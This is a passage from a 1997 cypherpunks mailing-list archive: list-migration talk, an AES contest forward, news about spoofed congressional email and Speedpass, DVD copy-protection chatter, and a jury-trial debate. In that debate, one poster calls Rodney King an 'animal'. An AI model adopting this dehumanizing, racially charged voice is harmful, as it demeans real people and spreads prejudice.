Dave> that is what it takes to get cypherpunks free of control interests again. I am not sure if it already exists... - Igor. From zachb at netcom.com Wed Feb 19 09:18:32 1997 From: zachb at netcom.com (Z.B.) Date: Wed, 19 Feb 1997 09:18:32 -0800 (PST) Subject: news article:fake email on Capitol Hill (fwd) Message-ID: ---------- Forwarded message ---------- Date: Wed, 19 Feb 1997 06:36:28 -0600 From: Gekko To: dc-stuff at dis.org Subject: news article:fake email on Capitol Hill Spoofing Congress Fake e-mail floods Capitol Hill NO, THESE weren't lobbyists pummeling members of Congress with propaganda, but apparently pranksters under the guise of legitimate Net users. In recent weeks, they have flooded lawmakers with hundreds of e-mail threats to delete all files in the Capitol Hill computer system. One of the identities used was that of Mercury News Computing Editor Dan Gillmor in the ruse that included 200 messages to Sen. Barbara Boxer, D-Calif. The FBI is looking into the incidents of "spoofing," but apparently no damage has yet been found. Story by Rory J. O'Connor of the Mercury News Washington Bureau From dthorn at gte.net Wed Feb 19 09:26:44 1997 From: dthorn at gte.net (Dale Thorn) Date: Wed, 19 Feb 1997 09:26:44 -0800 (PST) Subject: Constitution and a Right to Privacy Message-ID: <199702191726.JAA27081@toad.com> snow wrote: > Mr. may wrote: > > At 1:22 PM -0600 2/17/97, snow wrote: > Amendment IV- > (1791) The right of the people to be secure in their persons, houses, papers, > and effects, against unreasonable searches and seizures, shall not be violated, > and no warrants shall issue, but upon probable cause, supported by oath or > affirmation, and particularly describing the place to be searched, and the > persons or things to be seized. > It seems to me that the constitution is written rather simply, at least > prior to the 14th amendment. Congress Shall Make No Law... where is the > confusion? Simple, but.... In a right to jury trial of peers, are the peers the peers of the defendant or the peers of the victim? Both the Rodney King officers and the O.J. cases were perfect examples of how, when you switch the peer groups, you reverse the decisions. From jbugden at smtplink.alis.ca Wed Feb 19 09:26:51 1997 From: jbugden at smtplink.alis.ca (jbugden at smtplink.alis.ca) Date: Wed, 19 Feb 1997 09:26:51 -0800 (PST) Subject: Belated thank you's Message-ID: <199702191726.JAA27104@toad.com> It seems somewhat trite to say thank you for the service John provided now that it is going away, when while it was here it was taken for granted. Still, I will say thank you. Perhaps in this respect it is like good health, which while it is ours is not given much though, but once lost, becomes the whole of our thoughts. The loss of John's involvement is a real loss. At the same time, I would like to think that virtual communities such as this one are robust enough to survive the type of strife that we have undergone. People being what they are, the list would have had a hard time staying static without some strong guiding focus. Given the anarchic leanings of many people on this list, John's actions have done much to test the practicality of the principles that have been spoken about here. They may also show how much work it is to follow these same principles. Still, I wonder how John will feel about the cypherpunks list as it moves beyond him. Will it grow and become widespread? Or, will it slowly die from lack of interest or time? I think he might not like either answer. A la prochain fois, James The advancement and perfection of mathematics are intimately connected with the prosperity of the State. - Napoleon I From dthorn at gte.net Wed Feb 19 09:26:53 1997 From: dthorn at gte.net (Dale Thorn) Date: Wed, 19 Feb 1997 09:26:53 -0800 (PST) Subject: Cypherpunks FAQ Message-ID: <199702191726.JAA27106@toad.com> Igor Chudov @ home wrote: > Toto wrote: > > The primal instinct of those with interest in 'control' is centered > > around the need for 'total' control. The history of dictators in > > general has shown more than a few who have allowed the sheep to escape > > from their pens while they were fixated on chasing down the few 'black > > sheep' that had strayed from their control. > > The CypherPunks list is a prime example of this. John and Sandy became > > so fixated on their attack on Dr. Vulis (and subsequent 'dissenters') > > that they eventually lost control of the other sheep in the fold who > > were willing to go along with a 'moderate' abrogation of their right > > to free speech by the censoring of only the 'black' sheep. > Take no offense, but why nobody thought about an obviously more likely > conclusion: that it is Dr. Vulis who was, say, hired by Detweiler to > destroy cypherpunks. I personally find the above unlikely, but at least > more likely than all other suggestions (which I think are an example > of the delusion of grandeur). Remember the movie Die Hard (#1)? Remember what the wife said about how her husband would drive people stark, raving mad? I humbly suggest by analogy that it was me, since that is my effect on a lot of people, particularly (and especially) the John and Sandy types. From tcmay at got.net Wed Feb 19 09:26:59 1997 From: tcmay at got.net (Tim May) Date: Wed, 19 Feb 1997 09:26:59 -0800 (PST) Subject: alt.cypherpunks.*, cypherpunks@*.* Message-ID: <199702191726.JAA27116@toad.com> (A copy of this message has also been posted to the following newsgroups: alt.cypherpunks) At 9:02 AM -0500 2/19/97, Mullen, Patrick wrote: >I just got my news admin to add alt.cypherpunks. Unfortunately, I can't >remember the names of the subgroups (which weren't added), and I >deleted the mailings which listed them. > >If I remember correctly, they were along the lines of > >alt.cypherpunks.technical >alt.cypherpunks.social >alt.cypherpunks.announce >alt.cypherpunks.ebonics :-) Sorry, couldn't resist! Patrick reminds us of why a simple name like "alt.cypherpunks" is preferable to an extensive hierarchy: "I can't remember the names of the subgroups." It was a mistake, I believe, to create the various subgroups, and I hope they fail to propagate. I'd rather use more capable newsreading tools to scan _one_ group and follow interesting threads in it than try to remember what got posted where. And I especially don't want to see the predictable carping about how some topic "belongs" in one of the other groups! And many will simply cross-post their stuff to more than one of the groups, trying to guess which are most relevant, which are being read by enough people, etc. Even at a hundred messages a day, a single group is easily managed. And having four of them will not cut the traffic in the main group significantly. --Tim May, who plans to only post to the main group. -- Boycott "Big Brother Inside" software! We got computers, we're tapping phone lines, we know that that ain't allowed. ---------:---------:---------:---------:---------:---------:---------:---- Timothy C. May | Crypto Anarchy: encryption, digital money, tcmay at got.net 408-728-0152 | anonymous networks, digital pseudonyms, zero W.A.S.T.E.: Corralitos, CA | knowledge, reputations, information markets, Licensed Ontologist | black markets, collapse of governments. "National borders aren't even speed bumps on the information superhighway." From Mullen Wed Feb 19 09:27:14 1997 From: Mullen (Mullen) Date: Wed, 19 Feb 1997 09:27:14 -0800 (PST) Subject: FW: Rules for The Great DES Replacement Contest Message-ID: <199702191727.JAA27124@toad.com> >---------- Forwarded message ---------- >Date: Wed, 19 Feb 1997 09:24:38 -0500 (EST) >From: Christof Paar >To: christof at ece.WPI.EDU >Subject: (fwd) Rules for The Great DES Replacement Contest >Newsgroups: sci.crypt > > >Rules for The Great DES Replacement Contest > >On 1997 Jan 02, the National Institute of Standards and Technology >of The Department of Commerce announced the start of a process to >approve an "Advanced Encryption Standard." (See the Federal >Register Vol. 62, No. 1, pp. 93-94; for example, by going to > > http://www.lib.auburn.edu/gpo/index.html > >and searching the Federal Register for "Advanced Encryption >Standard.") > > >The first part of the process seems to be requesting comments >on the cipher requirements and submission guidelines as follows: > >"Proposed Draft Minimum Acceptability Requirements and Evaluation >Criteria > > "The draft minimum acceptability requirements and evaluation >criteria are: > A.1 AES shall be publicly defined. > A.2 AES shall be a symmetric block cipher. > A.3 AES shall be designed so that the key length may be increased >as needed. > A.4 AES shall be implementable in both hardware and software. > A.5 AES shall either be (a) freely available or (b) available >under terms consistent with the American National Standards Institute >(ANSI) patent policy. > A.6 Algorithms which meet the above requirements will be judged >based on the following factors: > (a) Security (i.e., the effort required to cryptanalyze), > (b) Computational efficiency, > (c) Memory requirements, > (d) Hardware and software suitability, > (e) Simplicity, > (f) Flexibility, and > (g) Licensing requirements." > > >"Proposed Draft Submission Requirements" > > "In order to provide for an orderly, fair, and timely evaluation of >candidate algorithm proposals, submission requirements will specify the >procedures and supporting documentation necessary to submit a candidate >algorithm. > > B.1 A complete written specification of the algorithm including >all necessary mathematical equations, tables, and parameters needed to >implement the algorithm. > B.2 Software implementation and source code, in ANSI C code, which >will compile on a personal computer. This code will be used to compare >software performance and memory requirements with respect to other >algorithms. > B.3 Statement of estimated computational efficiency in hardware >and software. > B.4 Encryption example mapping a specified plaintext value into >ciphertext. > B.5 Statement of licensing requirements and patents which may be >infringed by implementations of this algorithm. > B.6 An analysis of the algorithm with respect to known attacks. > B.7 Statement of advantages and limitations of the submitted >algorithm." > > From paul at fatmans.demon.co.uk Wed Feb 19 09:28:32 1997 From: paul at fatmans.demon.co.uk (paul at fatmans.demon.co.uk) Date: Wed, 19 Feb 1997 09:28:32 -0800 (PST) Subject: Anyone have the complete info on CP list alternatives? Message-ID: <199702191728.JAA27131@toad.com> > However, I'm very confused on just what to do at this > point, my news server doesn't see alt.cypherpunks > yet and if it did would probably lose about 75% of > the posts if past performance is to be any indicator. > (Or more accurately, would never get them, we seem > to be a bottom feeder here in South Florida as far > as the newsgroups go.) try pubnews.demon.co.uk, its a public server open to everyone and his dog, recognises all newsgroups, doesn`t accept rmgroups and is quite fast (quickest line between UK and USA, 100mbit/sec as I remember). Alternatively there is always dejanews.com Datacomms Technologies web authoring and data security Paul Bradley, Paul at fatmans.demon.co.uk Paul at crypto.uk.eu.org, Paul at cryptography.uk.eu.org Http://www.cryptography.home.ml.org/ Email for PGP public key, ID: 5BBFAEB1 "Don`t forget to mount a scratch monkey" From shark at turk.net Wed Feb 19 10:00:28 1997 From: shark at turk.net (Shark) Date: Wed, 19 Feb 1997 10:00:28 -0800 (PST) Subject: No Subject Message-ID: <330B4030.36C0@turk.net> Trial From jya at pipeline.com Wed Feb 19 10:14:30 1997 From: jya at pipeline.com (John Young) Date: Wed, 19 Feb 1997 10:14:30 -0800 (PST) Subject: OECD on Dirty Money Message-ID: <1.5.4.32.19970219180809.006f8dd0@pop.pipeline.com> Last week's FT-reported OECD money laundering paper, "FATF-VIII Money Laundering Typologies Exercise Public Report," 5 February 1997 is at: http://jya.com/fatf8.htm (Text 94K; 4 images 78K) From attila at primenet.com Wed Feb 19 10:34:06 1997 From: attila at primenet.com (Attila T. Hun) Date: Wed, 19 Feb 1997 10:34:06 -0800 (PST) Subject: Any more like www.anonymizer.com ?? In-Reply-To: Message-ID: <199702191834.LAA09190@infowest.com> -----BEGIN PGP SIGNED MESSAGE----- Come on, Bob. Quit rubbing it in about that clear blue water, the tropical temperatures and high horsepower speakers. -attila on or about 970219:0704 Robert Hettinga said: +At 8:29 pm -0500 on 2/18/97, ! Drive wrote: +> A proposal and prototype of a different anonymity mechanism can be found at: +> http://www.itd.nrl.navy.mil/ITD/5540/projects/onion-routing/overview.html +And, of course, you can hear about the next generation from the same +bunch, on Monday morning at FC97: + Unlinkable Serial Transactions + Paul F. Syverson (Naval Research Laboratory, Washington, DC, USA), + Stuart G. Stubblebine (AT&T Labs--Research, Murray Hill, NJ, USA), + David M. Goldschlag (Naval Research Laboratory, Washington, DC, USA) +:-). + Cheers, Bob Hettinga _____________________________________________________________________ Surveilence is just another form of entertainment. ___________________________________________________________attila_____ "attila" 1024/C20B6905/23 D0 FA 7F 6A 8F 60 66 BC AF AE 56 98 C0 D7 B0 -----BEGIN PGP SIGNATURE----- Version: 2.6.3i Charset: latin1 Comment: No safety this side of the grave. Never was; never will be iQCVAwUBMwtHW704kQrCC2kFAQF71QQAx/ai6PvbLHETVNLHQJ78XIIgkPBLflbO 4LfcHeA/m5WSq+kK8GNbSsMq+7Bcfpw+iELlPUhbU671oecayfyJj1C/Irwr2pXF dgNniD/2s0QnhDGEuHDbFtjkeIiSV70ED9+TO+osLG/fQIigV0jeIFPeh9D0Ri/z FueZ3HRx784= =Dtbl -----END PGP SIGNATURE----- From attila at primenet.com Wed Feb 19 11:24:26 1997 From: attila at primenet.com (Attila T. Hun) Date: Wed, 19 Feb 1997 11:24:26 -0800 (PST) Subject: Constitution and a Right to Privacy In-Reply-To: <330B1AC7.9D2@gte.net> Message-ID: <199702191924.MAA11906@infowest.com> -----BEGIN PGP SIGNED MESSAGE----- on or about 970219:0722 Dale Thorn said: +Simple, but.... In a right to jury trial of peers, are the peers the +peers of the defendant or the peers of the victim? Both the Rodney +King officers and the O.J. cases were perfect examples of how, when you +switch the peer groups, you reverse the decisions. you trying to be some kind of trouble maker? please remember that *all* the fairweather dogooder liberals have been telling us for years that everyone is equal. yeah, right! therefore, juries are obviously color blind, and not dazzled by attorneys calling up racism. yeah, right! as to Powell, he is/was an animal who should have been put away permanently. Koon was an officer's officer (personal experience) and was in the wrong place at the wrong time, not willing to step in. Koon lost 24 years of service without a mark, his pension, and all his benefits with 5 or 6 kids at home --and they had to go into hiding until found by the liberal press again and again who obviously felt the family should be punished as well. we wont even bother with the issues of double jeopardy when they pull a federal civil rights trial on all of them after the state court cleared everyone except Powell who they hung on. they had a clear right to try Powell, noone else. and the video played for evidence missed the first 90 seconds when a very large animal (Rodney King can be described no other way) came out of the car, dancing the jig, and went after Powell. by the time the prosecutors, particularly the Feds, were through itimidating the witnesses, nobody told the truth. Rodney King had been busted for public intoxication, controlled substances, and disorder enough times that he was well recognized for what he was --and easily identified. in the spooks, we called Powell's actions "the red mask" --once you start staring the beast in the eye, you are so wired on there is no stopping until your opponent is jello. 'shocktroops' or 'Stossentruppen' should never be used in civilian police forces, except possibily on SWAT teams, not an average street cop. and why did we have the trial in the first place? simply because the LA Times and KABC decided there was going to be a trial. I dont know whether to chalk it off to their bleeding heart liberals, or just the usual greed for money to be made on high profile news. or is it just more of the usual politically correct beat down of the oppressive whiteface? it is sometimes difficult to defend the LA Police department when you knew Daryll Gates and his predecessor, "Big Ed" Davis. Both of them are cowboys; Big Ed is now a state senator from the far west Valley, what was horse country when I lived there. they had a job to do, and LA is a mean place. the city itself is 2/3 poverty, half of that extreme ghetto and barrio problems. Big Ed is the man who proposed the fitting ending to airline hijackings, and set up his display in plain sight: in front of the American Airlines terminal building 4 at LAX before LAX was double decked. Big Ed parked a 40 ft flat bed trailer out there with a judge's bench at one end and a gallows at the other end with the jury box and dock in between. yes, sir, justice by the hijackers' peers; take the next 12 citizens coming out the doors. perfect and swift justice on someone who has no defense for his actions. everything else falls under this short take by a prominent author discussing the problem with jury selection: "The men who murdered Virginia's [Nevada] original twenty-six cemetary occupants were never punished. Why? Because Alfred the Great, when he invented trial by jury, and knew that he had admirably framed it to secure justice in his age of the world, was not aware that in the nineteenth century the condition of things would be so entirely changed that unless he rose from the grave and altered the jury plan to meet the emergency, it would prove the most ingenious and infallible agency for defeating justice that human wisdom could contrive. For how could he imagine that we simpletons would go on using his jury plan after circumstances had stripped it of its usefulness, any more than he could imagine that we would go not using his candle clock after we had invented chronometers? In his day news could not travel fast, and hence he could easily find a jury of honest, intelligent men who had not heard of the case they were called to try - but in our day of telegraph and newspapers his plan compels us to swear in juries composed of fools and rascals, because the system rigidly excludes honest men and men of brains. "I remember one of those sorrowful farces, in Virginia, which we call a jury trial. A noted desperado killed Mr. B, a good citizen, in the most wanton and cold-blooded way. Of course the papers were full of it, and all men capable of reading read about it. And of course all men not deaf and dumb and idiotic talked about it. A jury list was made out, and Mr. B. L., a prominent banker and a valued citizen, was questioned precisely as he would have been questioned in any court in America: "`Have you heard of this homicide?' "`Yes.' "`Have you held conversations on the subject?' "`Yes.' "`Have you formed or expressed opinions about it?' "`Yes.' "`Have you read newspaper accounts of it?' "`Yes.' "`We do not want you.' "A minister, intelligent, esteemed, and greatly respected; a merchant of high character and known probity; a mining superintendent of intelligence and unblemished reputation; a quartz-mill owner of excellent standing, were all questioned in the same way, and all set aside. Each said the public talk and the newspaper reports had not so biased his mind but that sworn testimony would overthrow his previously formed opinions and enable him to render a verdict without prejudice and in accordance with the facts. But of course such men could not be trusted with the case. Ignoramuses alone could mete out unsullied justice. "When the peremptory challenges were all exhausted, a jury of twelve men was empaneled - a jury who swore they had neither heard, read, talked about, nor expressed an opinion concerning a murder which the very cattle in the corrals, the Indians in the sagebrush, and the stones in the streets were cognizant of! It was a jury composed of two desperadoes, two low beerhouse politicians, three barkeepers, two ranchers who could not read, and three dull, stupid, human donkeys! It actually came out afterward that one of these latter thought that incest and arson were the same thing. "The verdict rendered by this jury was, Not Guilty. What else could one expect? "The jury system puts a ban upon intelligence and honesty, and a premium upon ignorance, stupidity, and perjury. It is a shame that we must continue to use a worthless system because it was good a thousand years ago. In this age, when a gentleman of high social standing, intelligence, and probity swears that the testimony given under solemn oath will outweigh, with him, street talk and newspaper reports based on mere hearsay, he is worth a hundred jurymen who will swear to their own ignorance and stupidity, and justice would be far safer in his hands than theirs. Why could not the jury law be so altered as to give men of brains and honesty an equal chance with fools and miscreants? Is it right to show the present favoritism to one class of men and inflict a disability on another, in a land whose boast is that all its citizens are free and equal? I am a candidate for the legislature. I desire to tamper with the jury law. I wish to so alter it as to put a premium on intelligence and character, and close the jury box against idiots, blacklegs, and people who do not read newspapers. But no doubt I shall be defeated - every effort I make to save the country `misses fire.'" --From "Roughing It" by Mark Twain, Chapter XLVIII. _____________________________________________________________________ "Explain to me, slowly and carefully, why if person A, when screwed over on a deal by B; is morally obligated to consult, pay, and defer to, person C for the purpose of seeing justice done; and why person C has any legitimate gripe, if A just hauls off and smacks B around like a dead carp." ___________________________________________________________attila_____ "attila" 1024/C20B6905/23 D0 FA 7F 6A 8F 60 66 BC AF AE 56 98 C0 D7 B0 -----BEGIN PGP SIGNATURE----- Version: 2.6.3i Charset: latin1 Comment: No safety this side of the grave. Never was; never will be iQCVAwUBMwtSiL04kQrCC2kFAQEmrwQAylLGuPHBNqeVij2ll7bnuK2Qn3CCZFTF 0unEYtmWcDxV5YxwyYVVntpujuF0j38/A3XBKKOwkfqt2QibRIKsBq7lkkWjIQvl re2y0q3XE6+/+Iw9gQbeNv2jEBH1fofIOLCKgAOYonjl+TXCMOJC8kJKszmr+QGr uk0yviRPO5c= =wRK0 -----END PGP SIGNATURE----- From tmcghan at mail.bcpl.lib.md.us Wed Feb 19 11:26:53 1997 From: tmcghan at mail.bcpl.lib.md.us (Thomas M. McGhan) Date: Wed, 19 Feb 1997 11:26:53 -0800 (PST) Subject: Belated thank you's Message-ID: <199702191926.OAA20773@mail.bcpl.lib.md.us> in a message apparently-from: jbugden at smtplink.alis.ca these words appeared: >The loss of John's involvement is a real loss. {snip} I would expect that "John's involvement" will not be lost just because the primary mass storage for the data comprising these messages is not on a disk drive in toad hall. >...how John will feel about the cypherpunks list as it moves beyond him. {snip} Unless the openness of this list, which was such a cause celebre, is compromised, I do not envision any mechanisms being put in place to exclude his contributions, if he chooses to make any. I also expect that the outcome of the in-progress election for ISOC board of trustees may have a certain effect on his time-and-energy resource allocation algorithm for the next few years. ======= tmcghan at mail.bcpl.lib.md.us http://www.gill-simpson.com voice: (410) 467-3335 fax: (410) 235-6961 pagenet: (410) 716-1342 cellular: (410) 241-9113 ICBM: 39.395N 76.469W From azur at netcom.com Wed Feb 19 11:53:44 1997 From: azur at netcom.com (Steve Schear) Date: Wed, 19 Feb 1997 11:53:44 -0800 (PST) Subject: Netcom carriage of alt.cypherpunk newsgroups Message-ID: I received the following reply to my inquiry: --------- Dear Mr. Schear: Thank you for your request. The addition of newsgroups is handled by our System Administrators, and we have forwarded your message over to their department. If we are able to add this group it should be available within two weeks of receipt. If we are unable to add the group for any reason we will also inform you of this within two weeks. If you have any other questions or concerns, please do not hesitate to contact us again. - Leigh Ann --------------------------------------------------------------------- _ _ |_|_ |_| Email Technical Support _ |_|_ NETCOM On-Line Communication Services, Inc. |_| _|_| http://www.netcom.com/bin/webtech |_| 24-Hour Technical Support: (408) 881-1810 --------------------------------------------------------------------- From rah at shipwright.com Wed Feb 19 12:41:29 1997 From: rah at shipwright.com (Robert Hettinga) Date: Wed, 19 Feb 1997 12:41:29 -0800 (PST) Subject: "cypherpunks is dead..." Message-ID: "...long live cypherpunks?" "So long, and thanks for all the fish?" But, seriously, folks... Lucky Green echoed many of my own thoughts when he talked about all the things being on this list has meant to him. Like Lucky, there is a rediculously huge list of things that this list has taught me over the almost three (wow..) years or so that I've been here. Thanks to all of you here, I have had nothing short of a Copernican transformation in my perception of the universe, and it completely changed what I wanted to do with the rest of my life. From the very first time I started reading this list and applying what I learned here to what I already knew, right then, for the first time in a *very* long time, I knew *exactly* how some very important pieces of the world actually worked, and more important, why they were going to change. I now *know* where the world is going to go. Maybe not when, of course, but certainly where and how. :-) (Old stock picker's joke: "I can tell you what. I can tell you when. I can't tell you both. If I did, I wouldn't tell *you*.") Anyway, I've learned all these things from many cypherpunks, some still here, and a lot who've left. I expect that, as we move into the next phase of this "group", we'll continue to teach ourselves much more about the world and strong cryptography's effect on it. But, nothing will compare to the feeling we'll get when we remember the time we've spent here at Toad Hall. We have John Gilmore to thank for the "lodgings", of course, and, certainly, for his encouragement and support. And, obviously, his tolerance, which finally sagged and broke under the weight of both his expectations and those of our own. We also have to thank Tim May for his um, ideological, presence on this list from since before it existed, :-), and, or course, for his current "leadership", both moral and political. (Of course, I can say all the next few wierd and gushy things about him without fear of refutation on his part, 'cause, in his wisdom, I'm still in his killfile ;-)) It was Tim who was our compass. It was Tim who came down from the mountain and stopped us from worshiping the fatted calf of censorship, and who is now leading us into the promised land of unfettered discourse, both on usenet and on the new cypherpunk server network. Since Tim paper-trained most of us here (myself included, though some may debate how well he succeeded :-)), that is, how to behave on this list, and, most important, how to imagine what a world of strong crytography on ubiquitous networks would look like, I now find his "leading" us out onto the net, and away from Sinai, most symmetrical indeed. :-). And so, in this last 24 hours or so on toad.com, I want to thank *both* Tim and John. But, also, I personally want to thank the "money-punks". People like Eric Hughes, and Perry Metzger, and Ian Goldberg, and Hal Finney, and Lucky Green, and Duncan Frissell, and Black Unicorn, and many, many other people, who have helped me work through, on this list, or in private e-mail, or, occasionally, in person, all of the stuff they know, and the stuff I have figured out myself. All about e$, about digital bearer certificate markets, about microintermediation. All the things which completely occupy almost all my waking thoughts these days. Because of this list's effect on my life, I have been motivated to start the Digital Commerce Society of Boston, to evangelize financial cryptography to any audience who would listen to me, to create a web site dedicated to e$, to create a group of e$ lists with some 300 total subscribers, to work with Vinnie Moscaritolo to create both the Mac-Crypto lists and conferences, to work with Vince Cate and Ray Hirschfeld to create the world's first peer-reviewed conference on financial cryptography, and with Vince and Ian Goldberg to create the world's first intensive financial cryptography bootcamp (which is going on as I write this). To create, with Vinnie, and Rachel Wilmer, and Anthony Templer, and Bob Antia, and Rodney Thayer, the next generation of the e$ website and mailing lists. Next week, I go to FC97 in Anguilla because of the things I've learned on this list. In the middle of March, I go to Cupertino to help Vinnie with Mac-Crypto 2.0, because of the things I've learned on this list. I've been invited to speak all over the world (and New Hampshire, too :-)) to talk about this stuff. I get quoted in the newspapers. I write magazine op-ed pieces. It has even earned me a buck or two. :-). In short, I owe everything I do of any consequence these days to my participation on this list, and, for that, I'm profoundly grateful to all of you for the privelege of being here: to listen, to learn, and, occasionally, to pay back all the stuff I've learned with a thing or two that I've worked out myself. Like that creosote bush I talked about before, cypherpunks is not going to die just because the address "cypherpunks at toad.com" ceases to exist. There are already 3rd-order cypherpunks lists out there. 3rd generation copies of the same "memetic" material. cypherpunks will *never* die, short of a cybernetic Chixalub event of some kind, and, frankly, even then. The internet sees censorship as damage and routes around it. So. In a very real sense, today on cypherpunks is like any other day in the life of a creosote bush. It's a big desert, folks. We're the only ones who know how to live out here. The whole damn desert, as far as the eye can see, is ours to move into. All we have to do is keep filling in the empty spots... Cheers, Bob Hettinga ----------------- Robert Hettinga (rah at shipwright.com), Philodox e$, 44 Farquhar Street, Boston, MA 02131 USA "Never attribute to conspiracy what can be explained by stupidity." -- Jerry Pournelle The e$ Home Page: http://www.shipwright.com/rah/ FC97: Anguilla, anyone? http://www.ai/fc97/ From rah at shipwright.com Wed Feb 19 13:02:05 1997 From: rah at shipwright.com (Robert Hettinga) Date: Wed, 19 Feb 1997 13:02:05 -0800 (PST) Subject: Mobil adopts no-physical-connection electronic payment token Message-ID: --- begin forwarded text Date: Wed, 19 Feb 1997 12:01:14 -0500 (EST) To: Multiple Recipients of e$pam From: e$pam at intertrader.com (e$pam) Reply-To: e$@thumper.vmeng.com X-Comment: To unsubscribe, send any email to e$pam-off at intertrader.com Precedence: Bulk Subject: Mobil adopts no-physical-connection electronic payment token X-orig-from: "Travis J.I. Corcoran" X-e$pam-source: bounce-dcsb at ai.mit.edu Forwarded by Robert Hettinga ----------------------------------------------------------------------- Date: Wed, 19 Feb 1997 09:02:14 -0500 From: "Travis J.I. Corcoran" To: dcsb at ai.mit.edu Subject: Mobil adopts no-physical-connection electronic payment token Sender: bounce-dcsb at ai.mit.edu Precedence: bulk Reply-To: "Travis J.I. Corcoran" FYI, from today's WSJ: ------------------------------ snip! ------------------------------ Mobil Aims to Turn Gas Pumps Into Automatic-Payment Sites By PETER FRITSCH Staff Reporter of THE WALL STREET JOURNAL Mobil Corp. hopes to make life in the fast lane a little bit faster. The oil company will introduce Wednesday a miniature electronic-payment device that busy motorists can simply wave at a gasoline pump to fill 'er up. The tiny electronic tag -- called a Speedpass -- clips onto a driver's key ring. Mobil is betting the technology will catch on with drivers tired of fumbling for cash or waiting for a pump to authorize a credit-card purchase. Whether drivers are in such a hurry that they will be interested is an open question. "My key chain already looks like a janitor's," says Carol Coale, a Houston securities analyst. Mobil, which tested the Speedpass over the past six months with 10,000 consumers in St. Louis, says the added convenience can save the motorist valuable time. Mobil's technology, developed in partnership with Texas Instruments Inc. and Dresser Industries Inc., is similar to that used by drivers at bridge and highway toll booths. Once a driver waves the tag at the pump, the pump instantly contacts Mobil's credit department and charges a credit card preselected by the customer. The marketing effort challenges the conventional wisdom of gasoline retailing. Most drivers say location is more important when the gasoline gauge reads "empty" than brand name or price. Mobil's thinking is that the gee-whiz factor of owning the Speedpass, combined with the convenience, will persuade people to go an extra mile to buy from one of Mobil's 7,700 branded stations. Speedpass is also an attempt to help Mobil build on its position as the nation's top gasoline seller. With a 9.9% share of the market, Mobil in 1995 overtook Shell Oil Co. as the leading gasoline seller, as measured in gallons sold. (Figures for 1996 aren't available.) Mobil, which was among the first oil companies to use pay-at-the-pump technology, will introduce Speedpass in key markets by May 1. ------------------------------ snip! ------------------------------ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ To unsubscribe from the dcsb list, send a letter to: Majordomo at ai.mit.edu In the body of the message, write: unsubscribe dcsb Or, to subscribe, write: subscribe dcsb If you have questions, write to me at Owner-DCSB at ai.mit.edu -------------------------------------------------- The e$ lists are brought to you by: Intertrader Ltd - Commerce Solutions in the UK Visit for details ... Where people, networks and money come together: Consult Hyperion http://www.hyperion.co.uk info at hyperion.co.uk Like e$pam? Help pay for it! See Or, for e$pam sponsorship, see Thanks to the e$ e$lves: Of Counsel: Vinnie Moscaritolo (Majordomo)^2: Rachel Willmer Commermeister: Anthony Templer Interturge: Rodney Thayer HTMLurgist: Cynthia Zwerling --- end forwarded text ----------------- Robert Hettinga (rah at shipwright.com), Philodox e$, 44 Farquhar Street, Boston, MA 02131 USA "Never attribute to conspiracy what can be explained by stupidity." -- Jerry Pournelle The e$ Home Page: http://www.shipwright.com/rah/ FC97: Anguilla, anyone? http://www.ai/fc97/ From rah at shipwright.com Wed Feb 19 13:03:00 1997 From: rah at shipwright.com (Robert Hettinga) Date: Wed, 19 Feb 1997 13:03:00 -0800 (PST) Subject: Any more like www.anonymizer.com ?? In-Reply-To: Message-ID: At 1:29 pm -0500 on 2/19/97, Attila T. Hun wrote: > Come on, Bob. Quit rubbing it in about that clear blue water, the > tropical temperatures and high horsepower speakers. Moi? Cheers, Bob Hettinga ----------------- Robert Hettinga (rah at shipwright.com), Philodox e$, 44 Farquhar Street, Boston, MA 02131 USA "Never attribute to conspiracy what can be explained by stupidity." -- Jerry Pournelle The e$ Home Page: http://www.shipwright.com/rah/ FC97: Anguilla, anyone? http://www.ai/fc97/ From landon_dyer at wayfarer.com Wed Feb 19 13:52:48 1997 From: landon_dyer at wayfarer.com (Landon Dyer) Date: Wed, 19 Feb 1997 13:52:48 -0800 (PST) Subject: Why Digital Video Disks are late to market Message-ID: <3.0.32.19970219135359.00b90170@mail.wayfarer.com> At 09:53 AM 2/19/97 -0500, you wrote: >-----BEGIN PGP SIGNED MESSAGE----- > >azur at netcom.com (Steve Schear) writes: >> Has anyone seen discussions on how these protection mechanisms can be >> circumvented? > >Ummm, sector copy? AFAIK, the reader/writer manfacturer is trusted to >cripple any copies it makes. Of course, it's all software, so if some >EVIL person were to write a driver that did not honor the "don't copy >me" header ... i can confirm this. i recently talked to an employee of a firm [who i won't name] that was looking for some kind of shrouding scheme to protect their copy-protection enforcement code, under W95. [he knows the effort is ultimately doomed. he *is* a user of SoftICE, after all... :-) ] quotable quotes: "we know someone's going to have their scheme cracked. all we care about is that ours isn't the first." "i can't tell you the [encryption] algorithm, because that would let you break it. yes, the security is in the algorithm." where does hollywood get its crypto? mattel? -landon [back to lurk mode...] From shark at turk.net Wed Feb 19 15:11:56 1997 From: shark at turk.net (Shark) Date: Wed, 19 Feb 1997 15:11:56 -0800 (PST) Subject: No Subject Message-ID: <199702192311.PAA01536@toad.com> Trial From jya at pipeline.com Wed Feb 19 15:11:57 1997 From: jya at pipeline.com (John Young) Date: Wed, 19 Feb 1997 15:11:57 -0800 (PST) Subject: OECD on Dirty Money Message-ID: <199702192311.PAA01538@toad.com> Last week's FT-reported OECD money laundering paper, "FATF-VIII Money Laundering Typologies Exercise Public Report," 5 February 1997 is at: http://jya.com/fatf8.htm (Text 94K; 4 images 78K) From dthorn at gte.net Wed Feb 19 15:27:05 1997 From: dthorn at gte.net (Dale Thorn) Date: Wed, 19 Feb 1997 15:27:05 -0800 (PST) Subject: Cypherpunks FAQ Message-ID: <199702192327.PAA01740@toad.com> Igor Chudov @ home wrote: > Toto wrote: > > The primal instinct of those with interest in 'control' is centered > > around the need for 'total' control. The history of dictators in > > general has shown more than a few who have allowed the sheep to escape > > from their pens while they were fixated on chasing down the few 'black > > sheep' that had strayed from their control. > > The CypherPunks list is a prime example of this. John and Sandy became > > so fixated on their attack on Dr. Vulis (and subsequent 'dissenters') > > that they eventually lost control of the other sheep in the fold who > > were willing to go along with a 'moderate' abrogation of their right > > to free speech by the censoring of only the 'black' sheep. > Take no offense, but why nobody thought about an obviously more likely > conclusion: that it is Dr. Vulis who was, say, hired by Detweiler to > destroy cypherpunks. I personally find the above unlikely, but at least > more likely than all other suggestions (which I think are an example > of the delusion of grandeur). Remember the movie Die Hard (#1)? Remember what the wife said about how her husband would drive people stark, raving mad? I humbly suggest by 